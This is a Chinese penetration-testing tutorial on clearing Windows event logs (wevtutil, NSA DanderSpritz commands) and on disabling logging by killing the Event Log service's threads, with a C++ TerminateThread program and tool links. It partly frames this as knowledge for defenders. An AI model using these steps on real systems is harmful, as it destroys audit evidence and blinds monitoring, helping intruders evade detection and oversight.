1. 程式人生 > >滲透技巧——Windows日誌的刪除與繞過

滲透技巧——Windows日誌的刪除與繞過

獲取 hashtable ica 保護 master dll 程序 proc 篩選

0x00 前言


在滲透測試過程中,Windows日誌往往會記錄系統上的敏感操作,如添加用戶,遠程登錄執行等。

對於一次完整的滲透測試,通常會選擇對Windows日誌進行清除和繞過,而對於防禦者來說,了解常用的繞過方法也有助於更好的保護自己的系統。

所以本文將要介紹常見的Windows日誌清除與繞過方法,分享經驗,幫助大家。

0x01 簡介


本文將要介紹以下內容:

  • Windows日誌的常用清除方法
  • Windows日誌的兩種繞過方法

0x02 Windows日誌


Windows日誌包括五個類別:

  • 應用程序
  • 安全
  • Setup
  • 系統
  • 轉發事件

查看方式:

1、 通過面板

位置如下:

Control Panel\System and Security-View event logs-Windows Logs

如下圖

技術分享

2、 通過Powershell

常用命令如下:

(管理員權限)

查看所有日誌:

Get-WinEvent

查看應用程序類別下的日誌:

Get-WinEvent -FilterHashtable @{logname="Application";}

0x03 Windows日誌的常用清除方法


1、wevtutil.exe

操作系統默認包含,支持系統:Win7及以上

常用命令如下:

(1) 統計日誌列表,查詢所有日誌信息,包含時間,數目

wevtutil.exe gli Application

操作如下圖

技術分享

(2) 查看指定類別的日誌內容

wevtutil qe /f:text Application

操作如下圖

技術分享

(3) 刪除該類日誌所有內容

wevtutil cl Application

操作如下圖

技術分享

Application日誌全部清除,數目為0

(4) 刪除單條內容

尚不支持

2、NSA DanderSpiritz

DanderSpritz是NSA的一款界面化的遠控工具

相關介紹可參考:

https://3gstudent.github.io/3gstudent.github.io/NSA-DanderSpiritz%E6%B5%8B%E8%AF%95%E6%8C%87%E5%8D%97-%E6%9C%A8%E9%A9%AC%E7%94%9F%E6%88%90%E4%B8%8E%E6%B5%8B%E8%AF%95/

常用命令如下:

(1) 統計日誌列表,查詢所有日誌信息,包含時間,數目

eventlogquery -log Application

(2) 查看指定類別的日誌內容

eventlogfilter -log Application -num 10

(3) 刪除該類日誌所有內容

eventlogclear -log Application

(4) 刪除單條內容

eventlogedit -log Application -record 1

註:

record序號可通過eventlogfilter獲得

0x04 Windows日誌的繞過方法


本文介紹的思路參考自Halil [email protected],地址如下:

https://artofpwn.com/phant0m-killing-windows-event-log.html

繞過原理:

Windows日誌對應於eventlog服務,找到該服務對應的進程svchost.exe,進而篩選出svchost.exe進程中具體實現日誌功能的線程,調用TerminateThread結束線程,破壞日誌記錄功能

特別的地方:

由於只結束了實現日誌功能的線程,所以Windows Event Log服務沒有被破壞,狀態仍為正在運行

繞過方法一

1、 定位eventlog服務對應進程svchost.exe的pid

2、 遍歷該進程中的所有線程

3、 判斷線程是否滿足條件

Windows Event Log 服務需要調用wevtsvc.dll,完整路徑為%WinDir%\System32\wevtsvc.dll

並且,如果線程調用了wevtsvc.dll,就可以判讀該線程實現了日誌記錄功能

4、 結束線程

使用TerminateThread

註:

Halil [email protected],完整代碼可參考:

https://github.com/hlldz/Invoke-Phant0m

powershell腳本執行後,Windows日誌功能失效,無法記錄日誌,操作如下圖

技術分享

5、 恢復方法

結束進程svchost.exe

重新開啟Windows Event Log 服務:

net start eventlog

操作如下圖

技術分享

繞過方法二

1、 定位eventlog服務對應進程svchost.exe的pid

powershell代碼如下:

Get-WmiObject -Class win32_service -Filter "name = ‘eventlog‘" | select -exp ProcessId

找到svchost.exe的pid為7008,如下圖

技術分享

2、 遍歷該進程中的所有線程

使用PsList

下載地址:

https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx

具體參數如下:

pslist.exe /accepteula -d 7008

獲取進程svchost.exe中的所有線程,如下圖

技術分享

3、 判斷線程是否滿足條件

獲取線程對應的服務,如果為eventlog,則滿足條件

使用工具:ScTagQuery

下載地址:

http://www.winsiderss.com/tools/sctagquery/sctagqry.zip

具體參數如下:

sctagqry.exe -t 7928

根據返回的結果Service Tag,判斷線程對應的服務

找到對應eventlog的線程,如下圖

技術分享

線程8136符合條件,依次嘗試,直到獲取所有符合條件線程

註:

使用Process Explorer可以簡化此過程

找到eventlog服務對應進程svchost.exe

如下圖

技術分享

右鍵查看屬性,選擇Threads標簽,查看線程,可直接獲得線程對應的服務

如下圖

技術分享

符合條件的線程TID為:

  • 8136
  • 8052
  • 6708
  • 2316
  • 6356

4、 結束線程

調用TerminateThread

通過c++實現,部分代碼如下:

int main(int argc, char* argv[])
{	
	printf("TerminateThread TID:\n");   	
	for(int i=1;i<argc;i++)
	{	
		printf("%s\n",argv[i]);
		HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
		if(TerminateThread(hThread,0)==0)
			printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
		CloseHandle(hThread);
	}  
	return 0;
}

完整代碼已上傳至github,地址如下:

https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp

控制臺支持傳入多個參數,向其傳入5個TID: 8136 8052 6708 2316 6356

自動結束對應線程,日誌功能失效

具體操作如下圖

技術分享

註:

稍後我會在github上更新該繞過方法的完整實現代碼,地址如下:

https://github.com/3gstudent/Windwos-EventLog-Bypass

0x05 補充


1、安裝sysmon可對Windows日誌功能進行擴展

相關介紹和繞過思路可參考;

https://3gstudent.github.io/3gstudent.github.io/%E9%80%9A%E8%BF%87APC%E5%AE%9E%E7%8E%B0Dll%E6%B3%A8%E5%85%A5-%E7%BB%95%E8%BF%87Sysmon%E7%9B%91%E6%8E%A7/

2、繞過方法僅針對Windows日誌

對應用程序和服務日誌失效,例如Windows Powershell

如下圖

技術分享

0x06 小結


本文對Windows日誌的清除和繞過方法做了介紹,希望能夠幫助大家,接下來會分享繞過方法二的具體程序實現方法。

滲透技巧——Windows日誌的刪除與繞過